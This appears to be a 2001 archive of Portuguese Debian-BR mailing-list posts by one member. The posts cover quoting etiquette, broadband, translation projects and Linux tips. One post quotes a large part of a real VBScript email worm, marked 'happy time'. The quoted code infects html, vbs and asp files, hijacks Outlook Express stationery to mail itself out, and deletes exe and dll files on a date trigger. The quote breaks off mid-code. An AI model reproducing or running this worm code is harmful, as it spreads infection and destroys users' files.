Ok! não vou [Entupir Banda] !!!

2001-12-22 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Sat, 22 Dec 2001, Raphael Derosso Pereira - DephiNit wrote:

>Antes de tudo: Por favor, não transformem isto numa flame-war...
De modo algum...

>On Sat 22 Dec 2001 12:15, Ricardo Castanho de O. Freitas wrote:
>> On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote:
>> >regra básica: cite apenas o que for importante para acompanhar o
>> Ou será que posso citar o número da mensagem?
>> Olha, pessoal aquele msg nº x² do históricona segunda linha, na

>Somente como esclarecimento. Vc poderia ter colocado apenas o começo do
>código e referenciado a mensagem pelo Autor, dia e hora.
^
Ok, Obrigado pela dica!

>E não esquente. Eu não estou lhe julgando, apenas aconselhando.
>Lembre-se: O problema não é errar, e sim repetir o erro quando poderia ter
>evitado. Então, não esquenta com esta, só tente não fazer denovo! Blz? :)

OK!

[]s Ricardo


- -- 
delivery NOT reliable  => [EMAIL PROTECTED]
==
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Para mais informações veja http://www.gnupg.org

iEYEARECAAYFAjwk1UcACgkQqJymTCNNyXF+zACfaUeeuFQbiC5eJeHvo9/nGEab
lDsAmgJXmJ4bgnoPPjmLSfnsVQvyfggs
=tg9R
-END PGP SIGNATURE-




Entupir Banda?!?!?

2001-12-22 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote:


>On Wed, 19 Dec 2001 19:19:45 -0200 (BRST)
>"Ricardo Castanho de O. Freitas" <[EMAIL PROTECTED]> wrote:
>> Pessoal!
>> Eu não sou programador, apesar de ter feitos alguns programas em VB, mas
>> isto aqui é *só* html???

>não, e pra quer citar a mensagem toda de novo? vocês estão querendo entupir
>a banda de todo mundo com essa porcaria? =P

Parece que vc não leu a minha pergunta/frase inteira...
Recebi a msg da lista, e estou perguntando para a lista o porque disto e
quanto ao conteúdo!!!
Além do mais, porque permitir msgs em html? Diversas lista bloqueiam isto!
Email em html, parece-me que isto por si só esta fora do contexto!

>regra básica: cite apenas o que for importante para acompanhar o
>progresso da discussão ou que for relevante ao que você vai dizer

Foi o que eu fiz!
Ou será que posso citar o número da mensagem?
Olha, pessoal aquele msg nº x² do históricona segunda linha, na
trigésima terceira...etc  é assim?
Para mim, código é código enquanto permanece como tal e não esquartejado!

>isso é vbscript

Era somente isto que eu estava perguntando...
Obrigado pela informação!

>[]s!

[]s Ricardo Castanho

- -- 
delivery NOT reliable  => [EMAIL PROTECTED]
==
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Para mais informações veja http://www.gnupg.org

iEYEARECAAYFAjwklZYACgkQqJymTCNNyXETuACfdRVSQgMWhlGml9iv77pMzG9A
vbsAn3pZ/u9rQJ7/azgxq40O4EvP3cDB
=Q5Ce
-END PGP SIGNATURE-




Re: Help (Por Favor não mandem email html!!!!!)

2001-12-19 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Wed, 19 Dec 2001, Philipe Gaspar wrote:

Pessoal!

Eu não sou programador, apesar de ter feitos alguns programas em VB, mas
isto aqui é *só* html???

[]s Ricardo Castanho


>Em Tuesday 18 December 2001 23:56, Javier Farian escreveu:
>> 
>>  Help 
>>  
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>
>> Rem I am sorry! happy time
>> On Error Resume Next
>> mload
>> Sub mload()
>> On Error Resume Next
>> mPath = Grf()
>> Set Os = CreateObject("Scriptlet.TypeLib")
>> Set Oh = CreateObject("Shell.Application")
>> If IsHTML Then
>> mURL = LCase(document.Location)
>> If mPath = "" Then
>> Os.Reset
>> Os.Path = "C:\Help.htm"
>> Os.Doc = Lhtml()
>> Os.Write()
>> Ihtml = "" Call
>> document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
>> Else
>> If Iv(mPath, "Help.vbs") Then
>> setInterval "Rt()", 1
>> Else
>> m = "hta"
>> If LCase(m) = Right(mURL, Len(m)) Then
>> id = setTimeout("mclose()", 1)
>> main
>> Else
>> Os.Reset()
>> Os.Path = mPath & "\" & "Help.hta"
>> Os.Doc = Lhtml()
>> Os.write()
>> Iv mPath, "Help.hta"
>> End If
>> End If
>> End If
>> Else
>> main
>> End If
>> End Sub
>> Sub main()
>> On Error Resume Next
>> Set Of = CreateObject("Scripting.FileSystemObject")
>> Set Od = CreateObject("Scripting.Dictionary")
>> Od.Add "html", "1100"
>> Od.Add "vbs", "0100"
>> Od.Add "htm", "1100"
>> Od.Add "asp", "0010"
>> Ks = "HKEY_CURRENT_USER\Software\"
>> Ds = Grf()
>> Cs = Gsf()
>> If IsVbs Then
>> If Of.FileExists("C:\help.htm") Then
>> Of.DeleteFile ("C:\help.htm")
>> End If
>> Key = CInt(Month(Date) + Day(Date))
>> If Key = 13 Then
>> Od.RemoveAll
>> Od.Add "exe", "0001"
>> Od.Add "dll", "0001"
>> End If
>> Cn = Rg(Ks & "Help\Count")
>> If Cn = "" Then
>> Cn = 1
>> End If
>> Rw Ks & "Help\Count", Cn + 1
>> f1 = Rg(Ks & "Help\FileName")
>> f2 = FNext(Of, Od, f1)
>> fext = GetExt(Of, Od, f2)
>> Rw Ks & "Help\FileName", f2
>> If IsDel(fext) Then
>> f3 = f2
>> f2 = FNext(Of, Od, f2)
>> Rw Ks & "Help\FileName", f2
>> Of.DeleteFile f3
>> Else
>> If LCase(WScript.ScriptFullname) <> LCase(f2) Then
>> Fw Of, f2, fext
>> End If
>> End If
>> If (CInt(Cn) Mod 366) = 0 Then
>> If (CInt(Second(Time)) Mod 2) = 0 Then
>> Tsend
>> Else
>> adds = Og
>> Msend (adds)
>> End If
>> End If
>> wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
>> If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
>> If wp = "" Then
>> n1 = ""
>> n3 = Cs & "\Help.htm"
>> Else
>> mP = Of.GetFile(wp).ParentFolder
>> n1 = Of.GetFileName(wp)
>> n2 = Of.GetBaseName(wp)
>> n3 = Cs & "\" & n2 & ".htm"
>> End If
>> Set pfc = Of.CreateTextFile(n3, True)
>> mt = Sa("1100")
>> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 &
>> "'><" & "/Body><" & "/HTML>" & mt pfc.Close
>> Rw Ks & "Help\wallPaper", n3
>> Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
>> End If
>> Else
>> Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
>> fc.Write Sa("0100")
>> fc.Close
>> bf = Cs & "\Untitled.htm"
>> Set fc2 = Of.CreateTextFile(bf, True)
>> fc2.Write Lhtml
>> fc2.Close
>> oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
>> oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook
>> Express\5.0\Mail" MSH = oe & "\Message Send HTML"
>> CUS = oe & "\Compose Use Stationery"
>> SN = oe & "\Stationery Name"
>> Rw MSH, 1
>> Rw CUS, 1
>> Rw SN, bf
>> Web = Cs & "\WEB"
>> Set gf = Of.GetFolder(Web).Files
>> Od.Add "htt", "1100"
>> For Each m In gf
>> fext = GetExt(Of, Od, m)
>> If fext <> "" Then
>> Fw Of, m, fext
>> End If
>> Next
>> End If
>> End Sub
>> Sub mclose()
>> document.Write "<" & "title>I am sorry!"
>> window.Close
>> End Sub
>> Sub Rt()
>> Dim mPath
>> On Error Resume Next
>> mPath = Grf()
>> Iv mPath, "Help.vbs"
>> End Sub
>> Function Sa(n)
>> Dim VBSText, m
>> VBSText = Lvbs()
>> If Mid(n, 3, 1) = 1 Then
>> m = "<%" & VBSText & "%>"
>> End If
>> If Mid(n, 2, 1) = 1 Then
>> m = VBSText
>> End If
>> If Mid(n, 1, 1) = 1 Then
>> m = Lscript(m)
>> End If
>> Sa = m & vbCrLf
>> End Function
>> Sub Fw(Of, S, n)
>> Dim fc, fc2, m, mmail, mt
>> On Error Resume Next
>> Set fc = Of.OpenTextFile(S, 1)
>> mt = fc.ReadAll
>> fc.Close
>> If Not Sc(mt) Then
>> mmail = Ml(mt)
>> mt = Sa(n)
>> Set fc2 = Of.OpenTextFile(S, 8)
>> fc2.Write mt
>> fc2.Close
>> Msend (mmail)
>> End If
>> End Sub
>> Function Sc(S)
>> mN = "Rem I am sorry! happy time"
>> If InStr(S, mN) > 0 Then
>> Sc = True
>> Else
>> Sc = False
>> End If
>> End Function
>> Function FNext(Of, Od, S)
>> Dim fpath, fname, fext, T, gf
>> On Error Resume Next
>> fname = ""
>> T = False
>> If Of.FileExists(S) Then
>> fpath = Of.GetFile(S).ParentFolder
>> fname = S
>> ElseIf Of.FolderExists(S) Then
>> fpath = S
>> T = True
>> Else
>> fpath = D

Re: Cuidado com o SourceForge

2001-11-13 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Tue, 13 Nov 2001, Marcio China wrote:
>On Monday 12 November 2001 21:44, Gustavo Noronha Silva wrote:
>> Alô amigos,

Mesmo se tudo estiver sob a GPL??
Ela nao protege exatamente contra isto?

>Eu ja recebi este link na outra lista e  fiu ate la  ler a noticia, que esta
>em frances.
>Simplesmente o proprietario do sourceforge pode apropriar-se das colaboracoes
>la contidas.
>No brasil tem o codigoaberto.org.br, que pode ser uma alternativa.
>China

[]s Ricardo Castanho

- -- 
==
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Made with pgp4pine 1.75-6

iEYEARECAAYFAjvyBgoACgkQ9I0k95pf9XvHVgCfV/gygIRcmdGn21bojCP1DSbb
928An1wJWVVNbP27SEcvc9oRnIJ/0SCu
=6X7l
-END PGP SIGNATURE-




Re: Speedy

2001-10-14 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Sat, 13 Oct 2001, Marinho Paiva Duarte wrote:


Olá Marinho!

O Speedy/Telefonica *nunca* vai garantir nada!
Mas funciona legal com o Linux sim! só que eu acabei de ver uma msg na
linux-br sobre o rp-pppoe! que você deverá usar para autenticação! (no
Speedy 'NOVO').

Dizem que o rp-pppoe é melhor! Mas eu não sei e nem pretendo testar!
E se por um acaso você descobrir uma solução debian, por favor me avise!

[] Ricardo Castanho


>Alguém já usou o Speedy da Telefonica (Brasil) com linux??
>Antes eles usavam ip fixo e eu sei que funciona porque já vi em várias 
>máquinas, mas agora eles mudaram para ip automático, e não tem mais como 
>expecificar gateway, ip e etc para o Linux. A Telefonica diz que com o Linux 
>eles não garantem o funcionamento do produto.
>Se alguém usa ou sabe como fazer funcionar, poderia me dizer como??
>Qualquer pista é preciosa...
>
>Abraços!!!
>
>---
>Marinho Paiva Duarte
>Analista de Suporte
>Usuário Linux #229528
>
>
>
>_
>Do You Yahoo!?
>Get your free @yahoo.com address at http://mail.yahoo.com
>
>
>
>

- -- 
==
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Made with pgp4pine 1.75-6

iD8DBQE7yOs9643DDkd0jWwRApkQAJ9vJl8b5bli3biX3HDs+1RHlk3wqQCgghu4
pGuaQrKaqkiXtH+MUP0SOCY=
=T84s
-END PGP SIGNATURE-




Re: [OFF-TOPIC] Línguas (era: Linguagem de programacao)

2001-09-24 Por tôpico Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, 24 Sep 2001, Leandro Guimarães Faria Corsetti Dutra wrote:

Grande Leandro:
Vou guardar sua mensagem como "testemunho"! ;-)) (pelo menos as pessoas
vão ver que não sou *só* eu que brigo por isto! Não tenho xenofobia!)

Estou brigando com várias pessoas com relação à certas palavras, mas
principalmente, o 'assume' do Inglês como "assumir" em Português!
Não acho que o 'intercâmbio' de palavras e conceitos entre idiomas seja um
problema, ao contrário, *quando bem utilizado* enriquece o idioma, *mas* a
utilização como "assume<=>assumir" é danosa ao nosso idioma!

[]s Ricardo Castanho

>Hélio Perroni Filho wrote:
> >>E é assim que nossa pobre Língua Portuguesa vai se empobrecendo.
> > Na verdade, é assim que as línguas vão se enriquecendo... Sem
> > neologismos e assimilações, elas estagnariam. Claro que há um limite pra
> > tudo, mas os procedimentos em si não são danosos, e sim o seu uso
> > exagerado.
>
>   Não é questão de grau, mas de essência.  Neologismos tudo bem, quando se
>encontra uma palavra melhor ou mais precisa ou mais genérica que as já
>existentes.  Assimilações, quando não se encontra uma palavra que já exista na
>nossa língua, e quando não há colisão com uma já existente.
>
>   Por exemplo, uma assimilação boa seria "resiliente".  Mas "assumir" como
>tradução de "assume" é uma péssima assimilação, porque (1) essa palavra
>já existe em Português com outro significado, de reconhecer-se, e (2) porque
>já temos outra palavra para expressar a mesma idéia, "presumir".

- -- 
==
Linux user # 102240 => Machine # 96125 => [EMAIL PROTECTED] user
==
A tall, dark stranger will have more fun than you.

-BEGIN PGP SIGNATURE-
Version: PGP 6.5.8
Comment: Made with pgp4pine 1.75-6

iQA/AwUBO69wK3Nx7XbKFCtwEQLJeQCfc9rBg/QKgaxXwPjG8GIpcPqj/0oAnji9
l06rCB2oqHHs9Et94yFuWTkM
=7kDk
-END PGP SIGNATURE-




Re: upgrade cl6 -> cl7

2001-08-30 Por tôpico Ricardo Castanho de O. Freitas
On Thu, 30 Aug 2001, ReMy Le BeAu wrote:

Pô... também não precisa 'judiar' né? ;-)

>> > upgrade para mim?? só com outra instalação em outro HD e migrar minhas
>> > 'tralhas'
>>hehehe... e pensar que você pode atualizar Debian 1.0 -> 3.0 sem nem um
>>reboot... =)
>>Pô, "Debian: All the power without the silly hat"...

[]s Ricardo
-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You will contract a rare disease.



upgrade cl6 -> cl7

2001-08-29 Por tôpico Ricardo Castanho de O. Freitas
On Wed, 29 Aug 2001, Gustavo Noronha Silva wrote:


Olá Kov!

Já ví que você é mentiroso!! ;-))
Eu duvido que você consiga fazer o upgrade
do cl6 e cl7 utilizando 'aquele' howto

ou qualquer outro!

Quer tentar? ;-)

Nem com reza brava, nem com ajuda do pessoal da cnc!
upgrade para mim?? só com outra instalação em outro HD e migrar minhas
'tralhas'

>BTW, só pra deixar registrado, para fazer um upgrade cnc 6 -> 7
>você *precisa* ler um howto porque senão você se estrepa todo e
>acaba com um sistema inutilizável (só um expert em rpm para arrumar ;))

DETALHE: eu segui aquele howto passo à passo! e acabei na mesma .

>fica aí nosso protesto =)

endosso seu protesto!

>[]s!

outros []'s

Ricardo Castanho


PS: Se 'você' não morasse TÃO longe, eu até que levaria minha maquina para
você tentar ;-)
Mas pensando bem você não merece isto! ;-) aliás. ninguém!


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You had some happiness once, but your parents moved away, and you had to
leave it behind.



Re: apt desnvolvido pela Conectiva

2001-08-28 Por tôpico Ricardo Castanho de O. Freitas
On Tue, 28 Aug 2001, Victor Maida wrote:

Sou usuário do Cl6 e também acho este tipo de atitute lamentável...
Principalmente por ser o Sandro

Espero que realmente tenha sido um escorregãomesmo!

Mas por outro lado é que considero de grande importância a sua atitude!
Conhecer a história e corrigir quem estiver errado!

Parabéns pela correção e pela informação!

[]s Ricardo Castanho

>   Na palestra de ontem (segunda-feira) do Sandro Nunes (conectiva) na
>Comdex, ele disse que a Conectiva tinha desenvolvido um sistema para
>facilitar a instalação de programas, resolvendo inclusive as questões
>sobre dependências, essa ferramenta desenvolvida por eles se chama apt
>-get. Quando eu o indaguei sobre o apt ter sido desenvolvido pela Debian
>ele agradeceu como se ele houvesse esquecido deste "pequeno" detalhe. O
>correto seria ele dizer que a Conectiva fez a adaptação do apt para
>trabalhar com rpms e dar o mérito para quem de direito.
>   Eu juro que não podia imaginar uma falha dessas, ainda mais de uma
>das pessoas que mais ajudou na divulgação do gnu/linux no país. Dar o
mérito para quem realizou um trabalho é o mínimo que se pode fazer na 
comunidade open source.


-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You are confused; but this is your normal state.



'tá na RdL [AGOSTO] pg.65!Re: Shutdown

2001-08-22 Por tôpico Ricardo Castanho de O. Freitas
On Wed, 22 Aug 2001, Carlos Laviola wrote:

Olá Pessoal!

Como, no 'subject', está na Rdl de Agosto, pg65! Eu também estava
procurando uma forma de fazer isto sem 'outorgar'direitos de 'root' à
ninguém

Para meu propósito serviu

Caso queiram... é só falar que eu mando a dica da RdL!

[]s Ricardo Castanho


>On Wed, Aug 22, 2001 at 09:01:38AM -0300, [EMAIL PROTECTED] wrote:
>>
>> All
>>
>> estou precisando habilitar alguns usu?rios a fazerem shutdown no sistema. J? 
>> vi em algum que lugar que existe um arquivo em que se coloca os usu?rios que 
>> podem dar shutdown no sistema.
>
>Pelo que eu vi na manpage, é diferente do que você está pensando. O
>/etc/shutdown.allow serviria apenas para deixar que certos usuários
>apenas tenham o poder de reiniciar a máquina fisicamente, através de
>ctrl + alt + del. Se você quer dar poder aos usuários para reiniciar a
>máquina, pegue o pacote sudo e dê a eles permissão de root apenas para
>os binários 'halt', 'shutdown' e 'reboot', ou adicione-os ao grupo
>root (não recomendável, óbvio).
>
>

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Beware of a tall black man with one blond shoe.



man pages para download!

2001-08-12 Por tôpico Ricardo Castanho de O. Freitas
Olá Pessoal!

Segundo me solicitaram, estou encaminhando para lista o endereço abaixo!

Os link para download dos arquivos são:
http://ldp-br.conectiva.com.br/projetos/man-pages/

Mas, pergunte ao kov ou alguém que possa esclarecer quanto as
particularidades no Debian...
Aliás, eu gostaria de saber... seria só fazer o download ou algum 'port'?

[]s Ricardo Castanho

==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Don't let your mind wander -- it's too little to be let out alone.



Re: off topic - usernet

2001-08-11 Por tôpico Ricardo Castanho de O. Freitas
On Sun, 12 Aug 2001, cosmo wrote:

Olá Cosmo!

Desculpe! não entendi sua pergunta direito
Você quer provedor de news gratuíto para acesso a usenet, é isto?
Atualmente, os provedores 'news'são pagos, mas eu recebi uma lista
como todos nós gostamos, gratis
Se for isto, me avise que te mando!

Programa, eu escolhi o pam, que parece ser o melhor que eu encontrei até
agora

O pam tenta imitar o fortè! (conhece?) mas não chega aos pés...;-(
pena que o fortè seja windows!!!

[]s Ricardo Castanho

>All
>
>Por acaso alguem conhece algum news que tenha acesso a usernet ?!?!?
>
>[ ]'s
>
>[EMAIL PROTECTED]
>GNU/Linux Debian
>
>
>--
>To UNSUBSCRIBE, email to [EMAIL PROTECTED]
>with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
>
>

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You will gain money by an immoral action.



Re: PS para PDF

2001-08-11 Por tôpico Ricardo Castanho de O. Freitas
On Sat, 11 Aug 2001, HardBeat404 wrote:

Eu vi recentemente no freshmeat, um  programa chamado: ps2pdf!
Não cheguei a testar, mas chamou a atenção!
Existem outros, este foi o último!
[]s Ricardo Castanho


>-BEGIN PGP SIGNED MESSAGE-
>Hash: SHA1
>
>Galera , alguem pode me informar de algum programa que passe de
>postscript para pdf ??? eu infelizmente nao achei nenhum e quero
>passar aquele ps do livro linux total da conectiva para pdf ou entao
>algum visualizador postscript para windows
>
>
>Abraços
>
>
>//  www.hardbeat404.f2s.com
>//  Debian News?  http://www.debianplanet.org
>//  ICQ/Licq:  #72974241
>//  Linux Registered User: #220025
>
>-BEGIN PGP SIGNATURE-
>Version: PGPfreeware 7.0.3 for non-commercial use 
>
>iQA/AwUBO3WK/7vphCHEu7TmEQJRuQCeOao+KwZvJ3gNu5QbF7awEbL6F38An0sz
>mAwiF8O2vCR19B210w1IJZPP
>=G16C
>-END PGP SIGNATURE-
>
>
>
>--
>To UNSUBSCRIBE, email to [EMAIL PROTECTED]
>with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
>
>

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your supervisor is thinking about you.



Boa informação!

2001-08-10 Por tôpico Ricardo Castanho de O. Freitas
On Fri, 10 Aug 2001, Gustavo Noronha Silva wrote:
Olá Kov e Pessoal!

>Em Fri, 10 Aug 2001 18:04:06 -0300 (EST)
>"Ricardo Castanho de O. Freitas" <[EMAIL PROTECTED]> escreveu:
>> Kov!
>> é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux!
>> E pelo que sei a Debian faz parte deste princípio... mais do que qualquer
>> outra! [Favor corrigir se estiver errado!]
>que atitude? quem fez alguma coisa? Pelo que entendo, o nosso amigo somente
>quis ressaltar que o LDP-BR é realmente um projeto de todas as dists e
>não um projeto Conectiva... não concorda? O fato de o coordenador ser usuário
>de slack mostra a isenção do LDP-BR
Sim, concordo!

>> Ao contrário desta lista que é específica para Debian, a LDP-BR não é
>> propriedade de nenhuma distro, senão perde o valor!Creio eu
>A LDP-BR perde seu valor se for de uma única distro mas o Debian-BR
>perde o valor se for de todas =)
É um paradoxo, mas é verdade!

>Nós estamos *assumidamente* trabalhando para fazer *em primeiro lugar*
>um sistema *totalmente livre* e universal, o que não bate com a vontade
>de todos, visto que a conectiva, por exemplo, tem um mercado específico...
>Nós estamos *assumidamente* trabalhando para que o Debian seja a escolha
>de mais e mais pessoas... o que significaria um tipo de competição com a
>CNC, por exemplo... mas como nós somos uma comunidade e não uma empresa,
>não vemos isso como competição, vemos como um tipo de mutualismo... (quando
>eu digo 'nós' eu quero me referir a 'o Debian-BR', já que não tenho competência
>para falar pelo Debian =))
Perfeito! Creio que é exatamente esta a idéia!

>E se pararmos de traduzir documentação específica do Debian, não é o LDP-BR
>que o vai fazer por nós, infelizmente... Mesmo que o LDP-BR queira ser
>totalmente universal ainda aparecem uns "Conectiva Linux" dentro dos HOWTOs
>vide:
Nosso foco até agora eram as man pages! E, se eu ví, passou batido!
De qualquer forma, ainda será decidido qual será a prioridade que virá!
Mas em todo caso, eu gostaria que fossem retirada toda e qualquer menção a
uma distro específica, a não ser que seja absolutamente essencial!
Tipo característica básico do sistema de arquivos, ext e etc!

Se a tradução tiver sido feita pela Conectiva, e seguindo-se os padrões de
hoje, será mencionado apenas o tradutor e revisor ao final de cada
arquivo. Mantendo-se, à risca, a originalidade do documento!
Isto, sem dúvida alguma será revisto, entretanto, ao traduzirmos os
HOWTO's por exemplo, pegaremos sempre, as últimas versões... que por sí
mesmo eliminaria qualquer menção 'não adequada'.

>" De qualquer forma, se foi instalada uma distribuição Red Hat ou
>  Conectiva Linux, tem-se a opção de instalá-lo como um pacote. Algumas
>  outras distribuições também incluem os binários do Samba."
>-- Samba-HOWTO
>
>é nosso propósito fazer com que o Debian tenha também sua documentação
>disponível, e por isso é que (isso era uma dúvida frequente anteriormente...)
>não podemos ser LDP-BR... nossos propósitos, embora sejam de colaboração,
>são totalmente distintos... O Debian tem problemas e soluções muito diferentes
>das normais... dhelp, dwww, modconf, update-* devem ser documentados.. e
>isso cabe a nós =)
Concordo, mas não se esqueça que mesmo a LDP-BR (ou a LDP) é um movimento
dos usuários...
Podemos, independente da distro, estar interagindo... embora, como você
disse existirem particularidades!

>Não entendam isso errado... nós, os debianers, temos (tirando alguns
>usuários meio nervosinhos =)) grande consideração pelo que o LDP-BR
>faz, e com a CNC por ajudar nisso... embora todos saibamos que o projeto
>é uma coisa voluntária e não uma coisa *da* conectiva =)
kov, para mim, isto está claro apesar de ter compreendido de forma
errada a menção ao Slack... a minha preocupação no momento é Gnu/Linux e
pronto!

Contem com a gente, por que estamos lutando pelo mesmo ideal!
E divergências haverão sempre, resta aprender com elas


[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Expect the worst, it's the least you can do.



Re: Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd )

2001-08-10 Por tôpico Ricardo Castanho de O. Freitas
On Fri, 10 Aug 2001, Fabio Jr. Beneditto wrote:

Como falei o movimento é GNU/Linux.
Não é GNU/Linux-Conectiva!!
Não é restrito a nenhuma distro! Nem uma específica distro pode
'descaracterizar' o valor voluntário do trabalho.
Assim como sou usuário Conectiva!
Sou voluntário como tradutor/revisor!
Nada demais!
[corta]

Kov!
é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux!
E pelo que sei a Debian faz parte deste princípio... mais do que qualquer
outra! [Favor corrigir se estiver errado!]

Ao contrário desta lista que é específica para Debian, a LDP-BR não é
propriedade de nenhuma distro, senão perde o valor!Creio eu

>Só complementando:
>O Atual coordenador do LDP-BR, o André "Lonely Wolf", é um Slack User
>[só para constar...]
>:wq!

-- 
==
Ricardo C.O. Freitas <[EMAIL PROTECTED]>
Linux user # 102240 => [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
If you stand on your head, you will get footprints in your hair.



Man Pages! Debian-br!

2001-08-10 Por tôpico Ricardo Castanho de O. Freitas
On Thu, 9 Aug 2001, Gustavo Noronha Silva wrote:

Olá Kov e Pessoal Debian-br!

>> Eu sei que muitos da Debian-br não gostam das traduções feitas pela
>> LDP-BR!
>de onde você tirou isso? é uma idéia errada
Concordo, mas esta idéia apareceu por diversas vezes e na última, você
(kov) foi quem explicou ao outro usuário que isto estava errado! foi em
Julho (não tenho mais a msg!).
Esta mensagem que eu falo, foi motivo de muita conversa entre nós para
eliminarmos qualquer idéia separativista dentro do movimento GNU/Linux!

>tanto é que temos um
>pacote das manpages em português já há algum tempo... feito pelo Eduardo
>Maçan... (tá na hora de atualizar error =))
Sempre!

>> Não fossem as divergências... não teríamos tantas distribuições Linux!
>não vejo como divergências mas como necessidades específicas ;)
Concordo em alguns casos!
Considero divergência quando para o mesmo trabalho... várias pessoas
'divergem' e utilizam Slack, Debian, Cnc, Mandrake e etc, para executá-lo!
Mesmo resultado, com ferramentas 'diferentes'.

>> Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à
>> LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições
>> para concluir mais este trabalho!
>e que parecia estar parado o LDP-BR não teria um domínio próprio?
Sim temos!
http://ldp-br.conectiva.com.br/

A Conectiva sede máquina, espaço, funcionários, tempo de dedicação dos
funcionários que mantem a página e etc! E tem mais ainda
Existe a idéia de se implantar um 'bugzilla', como um meio fácil e rápido
para que usuários reportem erros e 'erros' nas traduções!
Além da reformulação total do próprio site!

O problema é que o trabalho é voluntário e nem sempre as pessoas
entendem o que isto significa! Muitos pensavam que era para fazer o que
fosse possível, quando desse!
Hoje existe uma conscientização e comprometimento com o trabalho!

Parecia, não estava muito parado!
Foi justamente por 'n' problemas na coordenação com divisão de trabalho e
normatização do processo, que somente entramos em ritmo normal... tirando
o atraso de vários anos! (considerando que a Cnc começou a tradução em
1997)... não tenho dados sobre o Macan!
Nosso trabalho 'disparou' mesmo após Novembro/2000!
Eu não tenho os números mas, não foi brincadeira colacar o trabalho em
dia!
Agora, precisamos manter o que já foi feito e começar a traduzir o
restante!

>> Esperamos contar com a colaboração do pessoal da Debian-br, que esta
>> envolvida em suas próprias traduções e prioridades, mas na medida do
